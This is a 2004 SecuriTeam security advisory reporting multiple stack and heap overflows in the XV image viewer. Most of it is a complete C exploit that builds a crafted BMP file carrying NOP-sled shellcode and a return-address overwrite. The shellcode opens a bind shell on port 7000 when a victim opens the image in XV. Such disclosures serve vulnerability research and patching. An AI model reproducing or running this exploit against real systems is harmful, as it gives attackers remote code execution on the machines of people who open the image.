

# [UNIX] XV Multiple Buffer Overflows

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0078.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 08/25/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 25 Aug 2004 16:40:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

XV Multiple Buffer Overflows

---

## SUMMARY

<<http://www.trilon.com/xv/>> XV is an interactive image manipulation program for the X Window System. It can operate on images in the GIF, JPEG, TIFF, PBM, PGM, PPM, XPM, X11 bitmap, Sun Rasterfile, Targa, RLE, RGB, BMP, PCX, FITS, and PM formats on all known types of X displays. It can generate PostScript files, and if you have Ghostscript (version 2.6 or above) installed on your machine, it can also display them.

There are at least five stack and heap overflows present in the code of XV.

## DETAILS

Vulnerable Systems:

\* XV versions 3.10a and prior

The overflows allow a malicious attacker to construct an image that will trigger one of the vulnerabilities and by that, execute code on the target victim's machine. It is important to remember that the estimate on the amount of overflows in XV is a bare minimum. Many others probably exist. Among other bad coding habits there are more than 100 calls to `sprintf()` and `strcpy()` without any kind of bounds checking beforehand. Even though

## Securiteam: [UNIX] XV Multiple Buffer Overflows

most are related to program execution and arguments, there still is a fairly large codebase that might contain other buffer overflows.

The relevant source files in question are listed below, along with the relevant line numbers:

- \* xvbmp.c +168 – a user value is used to iterate a loop and copy data to a stack buffer
- \* xviris.c +270 – multiple heap overflows due to integer overflows in memory allocation with user supplied values
- \* xvpcx.c +226 – another integer overflow in memory allocation leading to a heap overflow
- \* xvpm.c +141 – another integer overflow in memory allocation leading to a heap overflow

An exploit code is presented below which generates a bitmap (.bmp file) that will overflow the first buffer mentioned above. It is similarly trivial to write exploits for the other types of files:

Exploit:

```
/*
 * xv exploit for the bmp parsing buffer overflow
 *
 * infamous42md AT hotpop DOT com
 * PEOPLE STOP EMAILING MY BUGTRAQ ADDRESS AND USE THIS ONE!!
 *
 * [n00b@localho.outernet] gcc -Wall xv_bmpslap.c
 * [n00b@localho.outernet] ./a.out
 * Usage: ./a.out <retaddr> [ align ]
 * [n00b@localho.outernet] ./a.out 0xbffff388
 * [n00b@localho.outernet] netstat -ant | grep 7000
 * [n00b@localho.outernet] ./xv suckit.bmp
 * [n00b@localho.outernet] netstat -ant | grep 7000
 * tcp 0 0 0.0.0.0:7000 0.0.0.0:*
LISTEN
 *
 */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

#define ALIGN 0
#define NOP 0x90
#define NNOPS 256
#define die(x) do{ perror(x); exit(EXIT_FAILURE); } while(0)
#define BS 0x10000
#define OUTFILE "suckit.bmp"
#define OVERWRITE_BYTES 700
```

## Securiteam: [UNIX] XV Multiple Buffer Overflows

```
/* a bitmap header structure */
#define BMP_HDR_SZ sizeof(struct bmp)
struct bmp {
    u_char type[2];
    u_int bfbsize,
        reserved,
        offbits,
        bisize, /* 40 */
        width,
        height;
    u_short planes, /* 1 */
        bitcount; /* 4 */
    u_int compres, /* != 1 */
        szimg,
        xppm,
        ypppm,
        clrused, /* write length */
        clrimportant;
} __attribute__((packed));

/* for easy access */
typedef union _ret {
    u_long ret;
    u_char retb[sizeof(u_long)];
} ret_t;

/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";

void make_bmp(char *buf, int len)
{
    int fd = 0;

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
        die("open");

    if(write(fd, buf, len) < 0)
        die("write");

    close(fd);
}
```

## Securiteam: [UNIX] XV Multiple Buffer Overflows

```
/*
 *
 */
int main(int argc, char **argv)
{
    int len, x, align = ALIGN;
    char buf[BS];
    ret_t retaddr;
    struct bmp bmp;

    if(argc < 2){
        fprintf(stderr, "\tUsage: %s < retaddr > [ align ]\n", argv[0]);
        return EXIT_FAILURE;
    }
    if(argc > 2){
        align = atoi(argv[2]);
        if(align < 0 || align > 3)
            die("get bent bitch");
    }
    sscanf(argv[1], "%lx", &retaddr.ret);

    /* setup bitmap */
    memset(&bmp, 0, BMP_HDR_SZ);
    bmp.type[0] = 'B', bmp.type[1] = 'M';
    bmp.bisize = 40;
    bmp.bitcount = 4;
    bmp.clused = OVERWRITE_BYTES;
    bmp.planes = 1;

    /* create 3vil buf */
    memset(buf, NOP, BS);
    memcpy(buf, &bmp, BMP_HDR_SZ);
    len = BMP_HDR_SZ;
    len += align;

    /* fill in ret address starting at byte offset 0, every other 4 bytes
    */
    for(x = 0; x < OVERWRITE_BYTES; x++)
        buf[len + (x*4)] = retaddr.retb[x & 0x3];

    /* fill in shell after NOPS, at byte offset 2, every other 4 bytes */
    for(x = 0; x < strlen(remote); x++)
        buf[len + (NNOPS*4) + (x*4) + 2] = remote[x];

    /* extra */
    len += OVERWRITE_BYTES * 10;
    make_bmp(buf, len);

    return 0;
}
```

Securiteam: [UNIX] XV Multiple Buffer Overflows

ADDITIONAL INFORMATION

The information has been provided by <mailto:infamous41md@hotmail.com>  
infamous41md@hotmail.com.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.